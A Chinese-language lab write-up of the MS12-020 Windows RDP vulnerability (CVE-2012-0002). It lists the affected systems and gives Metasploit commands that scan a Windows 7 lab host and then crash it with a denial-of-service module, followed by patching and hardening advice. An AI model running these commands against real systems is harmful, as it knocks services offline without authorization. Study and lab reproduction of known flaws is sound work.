MS12-020漏洞复现

Microsoft Windows RDP 远程代码执行漏洞(CVE-2012-0002)(MS12-020)

详细描述

Microsoft Windows操作系统是目前使用最广泛的操作系统之一，其远程桌面协议（Remote Desktop Protocol）被广泛用于用户远程管理计算机。近期在Windows操作系统的远程桌面协议中（Remote Desktop Protocol）被发现存在一个远程代码可执行漏洞。

在Windows XP *、Windows Server 2003 *以及未开启网络层认证（Network Level Authentication）的Windows Vista *、Windows Server 2008 *和Windows 7 *中，只要操作系统开启Remote Desktop Protocol (RDP)服务，远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包，便可以以系统权限或者NET SERVICE权限执行任意命令。

在开启网络层认证（Network Level Authentication）的Windows Vista *、Windows Server 2008 *和Windows 7 *中，远程攻击者需要以合法账户登录，才能发动攻击，远程执行任意命令。

漏洞影响系统

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP2（用于基于Itanium的系统）
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008
Windows Server 2008 R2
Windows 7

环境

攻击机：Kali-Linux-2020.3
受害机：Windows7专业版

漏洞复现

1、启动msf

msfconsole

image.png

2、搜索ms12_020,可以看到文件成功加载

search ms12_020

image.png

3、使用扫描模块（scanner）

use auxiliary/scanner/rdp/ms12_020_check  // 用来扫描判断目标主机是否存在ms12-020漏洞
set rhost 10.xx.xx.xx //这里的ip填写受害机地址
run

image.png

如发现上图红框：【+】和 The target is vulnerable，证明目标主机存在ms12-020漏洞，可以利用
4、使用攻击模块，进行漏洞利用

back //退出模块
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids //使用攻击模块
set rhost 10.xx.xx.xx //这里的ip填写受害机地址
show options //显示攻击模块的参数
run //不成功，多来几次

image.png

看到上述红箭头指向：seems down，证明攻击成功
5、受害机已蓝屏重启

image.png

修复建议

1、厂商已经发布了针对此漏洞的安全公告MS12-020和系统补丁，补丁链接：http://technet.microsoft.com/en-us/security/bulletin/ms12-020
2、在Windows系统中默认关闭远程桌面协议（Remote Desktop Protocol），不开启远程桌面协议（Remote Desktop Protocol）可不受漏洞影响。在Windows操作系统中，可禁用如下服务：Terminal Services, Remote Desktop, Remote Assistance, Windows Small Business Server 2003 Remote Web Workplace feature。
3、可配置防火墙过滤来自非法用户向3389端口的请求。
4、在Windows Vista *、Windows Server 2008 *和Windows 7 *上开启Network Level Authentication服务。